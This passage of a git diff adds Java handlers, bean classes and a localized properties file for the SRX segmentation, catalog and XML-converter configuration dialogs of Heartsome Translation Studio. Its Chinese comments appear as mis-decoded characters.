while (ruleAP.evalXPath() != -1) { + String languageModel = ""; + String langRuleName = ""; + + int index = 0; + if ((index = vn.getAttrVal("languagepattern")) != -1) { + languageModel = vn.toString(index); + } + + if ((index = vn.getAttrVal("languagerulename")) != -1) { + langRuleName = vn.toString(index); + } + + bean = new MapRuleBean(languageModel, langRuleName); + mapRulesList.add(bean); + } + } + } catch (Exception e) { + LOGGER.error("", e); + } + + return mapRulesList; + } + + /** + * 验è¯æ‰€æŒ‡å®šçš„语言规则是å¦æ·»åŠ æ˜ å°„,如果已ç»æ·»åŠ ï¼Œå°±è¿”回true,若未被添加映射,则返回false + * @param srxLoaction + * @param languageRuleName + * @return ; + */ + public boolean checkLangRuleNameMaped(String srxLoaction, String languageRuleName){ + VTDNav vn = super.getVTDNav(srxLoaction); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("/srx/body/maprules/maprule/languagemap[@languagerulename='"+ languageRuleName +"']"); + if (ap.evalXPath() != -1) { + return true; + } + } catch (Exception e) { + LOGGER.error("", e); + } + return false; + } + + /** + * 当语言规则å称改å˜ä»¥åŽï¼ŒåŒæ­¥æ›´æ–°æ˜ å°„规则中的语言规则å称 + * @param xmlLocation + * @param updateXpath + * @param newData + * @return ; + */ + public boolean updateMapRuleLangName(String xmlLocation, String updateXpath, String newValue) { + VTDNav vn = super.getVTDNav(xmlLocation); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath(updateXpath); + XMLModifier xm = new XMLModifier(vn); + boolean needReparse = false; + while (ap.evalXPath() != -1) { + xm.updateToken(vn.getAttrVal("languagerulename"), newValue); + needReparse = true; + } + if (needReparse) { + return saveAndReparse(xm, xmlLocation); + } + } catch (Exception e) { + LOGGER.error("", e); + } + return true; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/handlers/CatalogManagerHandler.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/handlers/CatalogManagerHandler.java new file mode 100644 index 0000000..2a924be --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/handlers/CatalogManagerHandler.java @@ -0,0 +1,58 @@ +package net.heartsome.cat.ts.ui.advanced.handlers; + +import java.io.File; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.ts.ui.advanced.ADConstants; +import net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * é…置目录管ç†çš„handler + * @author robert 2012-02-17 + * @version + * @since JDK1.6 + */ +public class CatalogManagerHandler extends AbstractHandler { + private IWorkspaceRoot root; + public Object execute(ExecutionEvent event) throws ExecutionException { + root = ResourcesPlugin.getWorkspace().getRoot(); + //先检查目录管ç†å™¨é…置所需è¦çš„文件是å¦éƒ½å­˜åœ¨äºŽå·¥ä½œç©ºé—´ + File catalogXmlFile = root.getLocation().append(ADConstants.catalogueXmlPath).toFile(); + // 如果ä¸å­˜åœ¨ï¼Œå°±å°†net.heartsome.cat.ts.configurationfile.featureæ’件的net.heartsome.cat.converter里的catalogue.xml拷到工作空间 + if (!catalogXmlFile.exists() || new File(catalogXmlFile.getParent()).list().length <= 0) { + //这是产å“打包åŽï¼Œcatalogue.xml所在的路径 + String srcLocation = Platform.getConfigurationLocation().getURL().getPath() + + "net.heartsome.cat.converter" + + System.getProperty("file.separator") + "catalogue" + System.getProperty("file.separator") + + "catalogue.xml"; + String tagLoaction = catalogXmlFile.getParent(); + + try { + ResourceUtils.copyDirectory(new File(srcLocation).getParentFile(), new File(tagLoaction)); + } catch (Exception e) { + e.printStackTrace(); + } + } + + catalogXmlFile = root.getLocation().append(ADConstants.catalogueXmlPath).toFile(); + if (!catalogXmlFile.exists()) { + MessageDialog.openInformation(HandlerUtil.getActiveSite(event).getShell(), Messages.getString("handlers.CatalogManagerHandler.msgTitle"), Messages.getString("handlers.CatalogManagerHandler.msg")); + return null; + } + + CatalogManagerDialog dialog = new CatalogManagerDialog(HandlerUtil.getActiveSite(event).getShell(), root); + dialog.open(); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/handlers/SRXConfigrationHandler.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/handlers/SRXConfigrationHandler.java new file mode 100644 index 0000000..57d4110 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/handlers/SRXConfigrationHandler.java @@ -0,0 +1,48 @@ +package net.heartsome.cat.ts.ui.advanced.handlers; + +import net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 高级èœå•ä¸‹é…置分段规则å­èœå•çš„handler + * @author robert 2012-02-28 + * @version + * @since JDK1.6 + */ +public class SRXConfigrationHandler extends AbstractHandler { + public Object execute(ExecutionEvent event) throws ExecutionException { +// IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + Shell shell = HandlerUtil.getActiveShell(event); +// String srxConfigLocation = ADConstants.configLocation + File.separator + ADConstants.AD_SRXConfigFolder; +// // 首先验è¯æœ¬æ¬¡æ‰€è¦ç”¨åˆ°çš„SRX(分段规则)文件是å¦å­˜åœ¨äºŽå·¥ä½œç©ºé—´ä¸­ã€‚如果没有,那么将相关文件拷è´åˆ°æŒ‡å®šå·¥ä½œç©ºé—´çš„目录 +// File srxConfigFolderFile = new File(srxConfigLocation); +// // 如果ä¸å­˜åœ¨ï¼Œåˆ™å°†å®‰è£…文件中的相关é…置文件å¤åˆ¶åˆ°å·¥ä½œå·¥é—´ +// if (!srxConfigFolderFile.exists() || !srxConfigFolderFile.isDirectory() +// || new File(srxConfigLocation).list().length <= 0) { +// String srcLocation = Platform.getConfigurationLocation().getURL().getPath() + "net.heartsome.cat.converter" +// + System.getProperty("file.separator") + "srx"; +// try { +// ResourceUtils.copyDirectory(new File(srcLocation), new File(srxConfigLocation)); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// +// File _srxConfigFolderFile = new File(srxConfigLocation); +// if (!_srxConfigFolderFile.exists() || !_srxConfigFolderFile.isDirectory()) { +// MessageDialog.openInformation(shell, Messages.getString("handlers.SRXConfigrationHandler.msgTitle"), +// Messages.getString("handlers.SRXConfigrationHandler.msg")); +// return null; +// } +// } + + SrxConfigurationDialog dialog = new SrxConfigurationDialog(shell); + dialog.open(); + + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/handlers/XmlConverterConfigurationHandler.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/handlers/XmlConverterConfigurationHandler.java new file mode 100644 index 0000000..9e56a02 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/handlers/XmlConverterConfigurationHandler.java @@ -0,0 +1,66 @@ +package net.heartsome.cat.ts.ui.advanced.handlers; + +import java.io.File; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.ts.ui.advanced.ADConstants; +import net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * é…ç½®XML转æ¢å™¨çš„handlerç±» + * @author robert 2012-02-22 + * @version + * @since JDK1.6 + */ +public class XmlConverterConfigurationHandler extends AbstractHandler { + + private static final Logger LOGGER = LoggerFactory.getLogger(XmlConverterConfigurationHandler.class); + + private IWorkspaceRoot root; + + public Object execute(ExecutionEvent event) throws ExecutionException { + root = ResourcesPlugin.getWorkspace().getRoot(); + String configFileLocation = root.getLocation().append(ADConstants.AD_xmlConverterConfigFolder).toOSString(); + Shell shell = HandlerUtil.getActiveShell(event); + // 首先验è¯å®‰è£…文件中本次所需è¦çš„文件是å¦è½¬å­˜è‡³å·¥ä½œå·¥é—´ï¼Œå¦‚果没有,就转过去。 + File xmlConfigFolderFile = new File(configFileLocation); + String tgtLocation = root.getLocation().append(ADConstants.AD_xmlConverterConfigFolder).toOSString(); + // 如果ä¸å­˜åœ¨ï¼Œåˆ™å°†å®‰è£…文件中的相关é…置文件å¤åˆ¶åˆ°å·¥ä½œå·¥é—´ + if (!xmlConfigFolderFile.exists() || !xmlConfigFolderFile.isDirectory() + || new File(tgtLocation).list().length <= 0) { + String srcLocation = Platform.getConfigurationLocation().getURL().getPath() + "net.heartsome.cat.converter" + + System.getProperty("file.separator") + "ini"; + try { + ResourceUtils.copyDirectory(new File(srcLocation), new File(tgtLocation)); + } catch (Exception e) { + LOGGER.error("", e); + } + + File _xmlConfigFolderFile = new File(configFileLocation); + if (!_xmlConfigFolderFile.exists() || !_xmlConfigFolderFile.isDirectory()) { + MessageDialog.openInformation(shell, + Messages.getString("handlers.XmlConverterConfigurationHandler.msgTitle"), + Messages.getString("handlers.XmlConverterConfigurationHandler.msg")); + return null; + } + + } + XmlConverterConfigurationDialog dialog = new XmlConverterConfigurationDialog(shell, configFileLocation); + dialog.open(); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/model/ElementBean.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/model/ElementBean.java new file mode 100644 index 0000000..5b24a76 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/model/ElementBean.java @@ -0,0 +1,72 @@ +package net.heartsome.cat.ts.ui.advanced.model; + +/** + * XML转æ¢å™¨é…置中元素的POJOç±» + * @author robert 2012-02-23 + * @version + * @since JDK1.6 + */ +public class ElementBean { + /** 元素å */ + private String name; + /** 元素类型,对应生æˆæ–‡ä»¶å±žæ€§hard-break */ + private String type; + /** 内è”类型,对应生æˆæ–‡ä»¶å±žæ€§ctype */ + private String inlineType; + /** å¯ç¿»è¯‘属性,对应生æˆæ–‡ä»¶å±žæ€§attributes */ + private String transAttribute; + /** ä¿ç•™ç©ºæ ¼ï¼Œå¯¹åº”生æˆæ–‡ä»¶å±žæ€§keep-format */ + private String remainSpace; + + public ElementBean() { + } + + public ElementBean(String name, String type, String inlineType, String transAttribute, String remainSpace) { + this.name = name; + this.type = type; + this.inlineType = inlineType; + this.transAttribute = transAttribute; + this.remainSpace = remainSpace; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } + + public String getInlineType() { + return inlineType; + } + + public void setInlineType(String inlineType) { + this.inlineType = inlineType; + } + + public String getTransAttribute() { + return transAttribute; + } + + public void setTransAttribute(String transAttribute) { + this.transAttribute = transAttribute; + } + + public String getRemainSpace() { + return remainSpace; + } + + public void setRemainSpace(String remainSpace) { + this.remainSpace = remainSpace; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/model/LanguageRuleBean.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/model/LanguageRuleBean.java new file mode 100644 index 0000000..f966e87 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/model/LanguageRuleBean.java @@ -0,0 +1,53 @@ +package net.heartsome.cat.ts.ui.advanced.model; + +public class LanguageRuleBean { + private String isBreak; + private String preBreak; + private String afterBreak; + + public LanguageRuleBean(){} + + public LanguageRuleBean(String isBreak, String preBreak, String afterBreak){ + this.isBreak = isBreak; + this.preBreak = preBreak; + this.afterBreak = afterBreak; + } + + public String getIsBreak() { + return isBreak; + } + + public void setIsBreak(String isBreak) { + this.isBreak = isBreak; + } + + public String getPreBreak() { + return preBreak; + } + + public void setPreBreak(String preBreak) { + this.preBreak = preBreak; + } + + public String getAfterBreak() { + return afterBreak; + } + + public void setAfterBreak(String afterBreak) { + this.afterBreak = afterBreak; + } + + @Override + public boolean equals(Object obj) { + if (obj instanceof LanguageRuleBean) { + LanguageRuleBean targetBean = (LanguageRuleBean) obj; + if (targetBean.getIsBreak().equals(this.isBreak) && targetBean.getPreBreak().equals(this.preBreak) + && targetBean.getAfterBreak().equals(this.afterBreak)) { + return true; + }else { + return false; + } + } + return false; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/model/MapRuleBean.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/model/MapRuleBean.java new file mode 100644 index 0000000..25d03ca --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/model/MapRuleBean.java @@ -0,0 +1,46 @@ +package net.heartsome.cat.ts.ui.advanced.model; + +/** + * 高级èœå•ä¸‹åˆ†æ®µè§„则å°å°„规则的pojoç±» + * @author robert 2012-03-02 + * @version + * @since JDK1.6 + */ +public class MapRuleBean { + private String languageModel; + private String langRuleName; + + public MapRuleBean (){} + + public MapRuleBean(String languageModel, String langRuleName){ + this.languageModel = languageModel; + this.langRuleName = langRuleName; + } + + public String getLanguageModel() { + return languageModel; + } + + public void setLanguageModel(String languageModel) { + this.languageModel = languageModel; + } + + public String getLangRuleName() { + return langRuleName; + } + + public void setLangRuleName(String langRuleName) { + this.langRuleName = langRuleName; + } + + @Override + public boolean equals(Object obj) { + if (obj != null && obj instanceof MapRuleBean) { + MapRuleBean targetBean = (MapRuleBean) obj; + if (targetBean.getLanguageModel().equals(this.languageModel) && targetBean.getLangRuleName().equals(this.langRuleName)) { + return true; + } + } + return false; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/resource/Messages.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/resource/Messages.java new file mode 100644 index 0000000..26b11e3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.ui.advanced.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.ui.advanced.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/resource/message.properties b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/resource/message.properties new file mode 100644 index 0000000..13d96b7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/resource/message.properties @@ -0,0 +1,228 @@ +# \u9ad8\u7ea7 > Catalog \u7ba1\u7406\u5668 +dialogs.CatalogManagerDialog.title = Catalog \u7ba1\u7406\u5668 +dialogs.CatalogManagerDialog.addBtn = \u6dfb\u52a0(&A) +dialogs.CatalogManagerDialog.editBtn = \u7f16\u8f91(&E) +dialogs.CatalogManagerDialog.deleteBtn = \u5220\u9664(&D) +dialogs.CatalogManagerDialog.cancel = \u5173\u95ed +dialogs.CatalogManagerDialog.columnNames1 = \u5e8f\u53f7 +dialogs.CatalogManagerDialog.columnNames2 = \u7c7b\u578b +dialogs.CatalogManagerDialog.columnNames3 = ID +dialogs.CatalogManagerDialog.columnNames4 = \u6587\u4ef6 URL +dialogs.CatalogManagerDialog.msgTitle = \u786e\u8ba4 +dialogs.CatalogManagerDialog.msg1 = \u9009\u4e2d\u7684 Catalog \u88ab\u5220\u9664\u540e\u5c06\u65e0\u6cd5\u6062\u590d\uff0c\u786e\u5b9a\u8981\u5220\u9664\u5417\uff1f +dialogs.CatalogManagerDialog.msgTitle2 = \u63d0\u793a +dialogs.CatalogManagerDialog.msg2 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684 Catalog\u3002 +dialogs.CatalogManagerDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684 Catalog\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91 Catalog \u5bf9\u8bdd\u6846 +dialogs.AddOrEditCatalogDialog.title1 = \u6dfb\u52a0 Catalog +dialogs.AddOrEditCatalogDialog.title2 = \u7f16\u8f91 Catalog +dialogs.AddOrEditCatalogDialog.typeLbl = \u7c7b\u578b\uff1a +dialogs.AddOrEditCatalogDialog.publicBtn = PUBLIC +dialogs.AddOrEditCatalogDialog.systermBtn = SYSTERM +dialogs.AddOrEditCatalogDialog.uriBtn = URI +dialogs.AddOrEditCatalogDialog.nextCataBtn = nextCatalog +dialogs.AddOrEditCatalogDialog.idLbl = ID\uff1a +dialogs.AddOrEditCatalogDialog.urlLbl = \u6587\u4ef6 URL\uff1a +dialogs.AddOrEditCatalogDialog.browseBtn = \u6d4f\u89c8(&B)... +dialogs.AddOrEditCatalogDialog.msgTitle = \u63d0\u793a +dialogs.AddOrEditCatalogDialog.msg1 = \u8bf7\u9009\u62e9 Catalog \u7c7b\u578b\u3002 +dialogs.AddOrEditCatalogDialog.msg2 = \u6dfb\u52a0 Catalog \u65f6\u51fa\u9519\u3002 +dialogs.AddOrEditCatalogDialog.dialogMsg = \u8bf7\u9009\u62e9 Catalog \u6587\u4ef6\u3002 +dialogs.AddOrEditCatalogDialog.dialogTitle = \u6253\u5f00\u6587\u4ef6\u5939 + +# \u9ad8\u7ea7 > XML \u8f6c\u6362\u5668 +dialogs.XmlConverterConfigurationDialog.title = XML \u8f6c\u6362\u5668\u914d\u7f6e +dialogs.XmlConverterConfigurationDialog.addBtn = \u6dfb\u52a0(&A) +dialogs.XmlConverterConfigurationDialog.editBtn = \u7f16\u8f91(&E) +dialogs.XmlConverterConfigurationDialog.deleteBtn = \u5220\u9664(&D) +dialogs.XmlConverterConfigurationDialog.analysisBtn = \u5206\u6790 XML \u6587\u4ef6\u6837\u672c(&N) +dialogs.XmlConverterConfigurationDialog.cancel = \u5173\u95ed +dialogs.XmlConverterConfigurationDialog.columnNames1 = \u5e8f\u53f7 +dialogs.XmlConverterConfigurationDialog.columnNames2 = \u914d\u7f6e\u6587\u4ef6 +dialogs.XmlConverterConfigurationDialog.msgTitle = \u63d0\u793a +dialogs.XmlConverterConfigurationDialog.msg1 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684 XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6\u3002 +dialogs.XmlConverterConfigurationDialog.msg2 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684 XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91 XML \u914d\u7f6e +dialogs.AddOrEditXmlConvertConfigDialog.title1 = \u6dfb\u52a0 XML \u8f6c\u6362\u5668\u914d\u7f6e +dialogs.AddOrEditXmlConvertConfigDialog.title2 = \u7f16\u8f91 XML \u8f6c\u6362\u5668\u914d\u7f6e +dialogs.AddOrEditXmlConvertConfigDialog.addBtn = \u6dfb\u52a0\u914d\u7f6e(&A) +dialogs.AddOrEditXmlConvertConfigDialog.editBtn = \u7f16\u8f91\u914d\u7f6e(&E) +dialogs.AddOrEditXmlConvertConfigDialog.deleteBtn = \u5220\u9664\u914d\u7f6e(&D) +dialogs.AddOrEditXmlConvertConfigDialog.ok = \u4fdd\u5b58(&S) +dialogs.AddOrEditXmlConvertConfigDialog.cancel = \u53d6\u6d88 +dialogs.AddOrEditXmlConvertConfigDialog.rootLbl = \u6839\u5143\u7d20\uff1a +dialogs.AddOrEditXmlConvertConfigDialog.textLbl = \u5c06\u88ab\u4fdd\u5b58\u5230\uff1a +dialogs.AddOrEditXmlConvertConfigDialog.msgTitle1 = \u63d0\u793a +dialogs.AddOrEditXmlConvertConfigDialog.msg1 = \u8bf7\u8f93\u5165\u6839\u5143\u7d20\u540d\u79f0\u3002 +dialogs.AddOrEditXmlConvertConfigDialog.msg2 = XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +dialogs.AddOrEditXmlConvertConfigDialog.msgTitle2 = \u786e\u8ba4 +dialogs.AddOrEditXmlConvertConfigDialog.msg3 = XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialogs.AddOrEditXmlConvertConfigDialog.msg4 = \u7f16\u8f91\u540e\u7684 XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialogs.AddOrEditXmlConvertConfigDialog.msg5 = XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\uff0c\u8bf7\u5220\u9664\u8be5\u914d\u7f6e\u540e\u91cd\u65b0\u6dfb\u52a0\u3001\u6216\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio\u3002 +dialogs.XmlConvertManagerDialog.columnNames1 = \u5143\u7d20 +dialogs.XmlConvertManagerDialog.columnNames2 = \u5143\u7d20\u7c7b\u578b +dialogs.XmlConvertManagerDialog.columnNames3 = \u5185\u8054\u7c7b\u578b +dialogs.XmlConvertManagerDialog.columnNames4 = \u53ef\u7ffb\u8bd1\u5c5e\u6027 +dialogs.XmlConvertManagerDialog.columnNames5 = \u4fdd\u7559\u7a7a\u683c +dialogs.XmlConvertManagerDialog.msgTitle1 = \u786e\u8ba4 +dialogs.XmlConvertManagerDialog.msg1 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u5143\u7d20\u5417\uff1f +dialogs.XmlConvertManagerDialog.msgTitle2 = \u63d0\u793a +dialogs.XmlConvertManagerDialog.msg2 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u5143\u7d20\u3002 +dialogs.XmlConvertManagerDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u5143\u7d20\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91 XML \u5143\u7d20\u914d\u7f6e +dialogs.AddOrEditElementOfXmlConvertDialog.title = \u5143\u7d20\u914d\u7f6e +dialogs.AddOrEditElementOfXmlConvertDialog.ok = \u4fdd\u5b58 +dialogs.AddOrEditElementOfXmlConvertDialog.nameLbl = \u5143\u7d20\u540d\u79f0\uff1a +dialogs.AddOrEditElementOfXmlConvertDialog.typeLbl = \u5143\u7d20\u7c7b\u578b\uff1a +dialogs.AddOrEditElementOfXmlConvertDialog.inlineLbl = \u5185\u8054\u7c7b\u578b\uff1a +dialogs.AddOrEditElementOfXmlConvertDialog.transAttriLbl = \u53ef\u7ffb\u8bd1\u5c5e\u6027\uff1a +dialogs.AddOrEditElementOfXmlConvertDialog.remainSpaceLbl = \u4fdd\u7559\u7a7a\u683c\uff1a +dialogs.AddOrEditElementOfXmlConvertDialog.msgTitle1 = \u786e\u8ba4 +dialogs.AddOrEditElementOfXmlConvertDialog.msg1 = \u5143\u7d20 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialogs.AddOrEditElementOfXmlConvertDialog.msgTitle2 = \u63d0\u793a +dialogs.AddOrEditElementOfXmlConvertDialog.msg2 = \u8bf7\u8f93\u5165\u5143\u7d20\u540d\u3002 + +# \u5206\u6790 XML \u6587\u4ef6\u6837\u672c +dialogs.AnalysisXmlConvertConfigDialg.title = \u5206\u6790 XML \u6587\u4ef6\u6837\u672c +dialogs.AnalysisXmlConvertConfigDialg.addBtn = \u6dfb\u52a0(&A) +dialogs.AnalysisXmlConvertConfigDialg.editBtn = \u7f16\u8f91(&E) +dialogs.AnalysisXmlConvertConfigDialg.deleteBtn = \u5220\u9664(&D) +dialogs.AnalysisXmlConvertConfigDialg.ok = \u4fdd\u5b58(&S) +dialogs.AnalysisXmlConvertConfigDialg.cancel = \u53d6\u6d88 +dialogs.AnalysisXmlConvertConfigDialg.analysisXmlLbl = XML \u6587\u4ef6\u6837\u672c\uff1a +dialogs.AnalysisXmlConvertConfigDialg.browseBtn = \u6d4f\u89c8(&B)... +dialogs.AnalysisXmlConvertConfigDialg.rootLbl = \u6839\u5143\u7d20\uff1a +dialogs.AnalysisXmlConvertConfigDialg.textLbl = \u5c06\u88ab\u4fdd\u5b58\u5230\uff1a +dialogs.AnalysisXmlConvertConfigDialg.msgTitle = \u63d0\u793a +dialogs.AnalysisXmlConvertConfigDialg.msg1 = \u8bf7\u8f93\u5165\u6839\u5143\u7d20\u540d\u79f0\u3002 +dialogs.AnalysisXmlConvertConfigDialg.msg2 = XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +dialogs.AnalysisXmlConvertConfigDialg.filterXML = XML \u6587\u4ef6 [*.xml] +dialogs.AnalysisXmlConvertConfigDialg.filterAll = \u6240\u6709\u6587\u4ef6 [*] +dialogs.AnalysisXmlConvertConfigDialg.fdTitle = XML \u6587\u4ef6\u6837\u672c +dialogs.AnalysisXmlConvertConfigDialg.msgTitle2 = \u786e\u8ba4 +dialogs.AnalysisXmlConvertConfigDialg.msg3 = XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialogs.AnalysisXmlConvertConfigDialg.msg4 = \u6240\u9009\u62e9\u7684\u6587\u4ef6\u4e0d\u7b26\u5408 XML \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 XML \u6587\u4ef6\u6837\u672c\u3002 +dialogs.AnalysisXmlConvertConfigDialg.msg5 = \u6240\u9009\u62e9\u7684\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +dialogs.AnalysisXmlConvertConfigDialg.msg6 = \u6240\u9009\u62e9\u7684\u6587\u4ef6 {0} \u4e0d\u7b26\u5408 XML \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 XML \u6587\u4ef6\u6837\u672c\u3002 + +# \u9ad8\u7ea7 > \u5206\u6bb5\u89c4\u5219 +srx.SrxConfigurationDialog.title = \u5206\u6bb5\u89c4\u5219\u7ba1\u7406\u5668 +srx.SrxConfigurationDialog.addBtn = \u6dfb\u52a0(&A) +srx.SrxConfigurationDialog.editBtn = \u7f16\u8f91(&E) +srx.SrxConfigurationDialog.deleteBtn = \u5220\u9664(&D) +srx.SrxConfigurationDialog.cancel = \u5173\u95ed +srx.SrxConfigurationDialog.columnNames1 = \u5e8f\u53f7 +srx.SrxConfigurationDialog.columnNames2 = \u914d\u7f6e\u6587\u4ef6 +srx.SrxConfigurationDialog.msgTitle1 = \u786e\u8ba4 +srx.SrxConfigurationDialog.msg1 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u5206\u6bb5\u89c4\u5219\u5417? +srx.SrxConfigurationDialog.msgTitle2 = \u63d0\u793a +srx.SrxConfigurationDialog.msg2 = \u65e0\u6cd5\u5220\u9664\u9009\u4e2d\u7684\u5206\u6bb5\u89c4\u5219 {0}\uff0c\u8bf7\u91cd\u8bd5\u3002 +srx.SrxConfigurationDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u5206\u6bb5\u89c4\u5219\u3002 +srx.SrxConfigurationDialog.msg4 = \u4e0d\u80fd\u4fee\u6539\u6216\u5220\u9664\u7cfb\u7edf\u5185\u7f6e\u5206\u6bb5\u89c4\u5219\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91\u5206\u6bb5\u89c4\u5219 +srx.CreateOrUpdataSRXDialog.title1 = \u6dfb\u52a0\u5206\u6bb5\u89c4\u5219 +srx.CreateOrUpdataSRXDialog.title2 = \u4fee\u6539\u5206\u6bb5\u89c4\u5219 +srx.CreateOrUpdataSRXDialog.nameLbl = \u5206\u6bb5\u89c4\u5219\u6587\u4ef6\u540d\uff1a +srx.CreateOrUpdataSRXDialog.msgTitle1 = \u63d0\u793a +srx.CreateOrUpdataSRXDialog.msg1 = 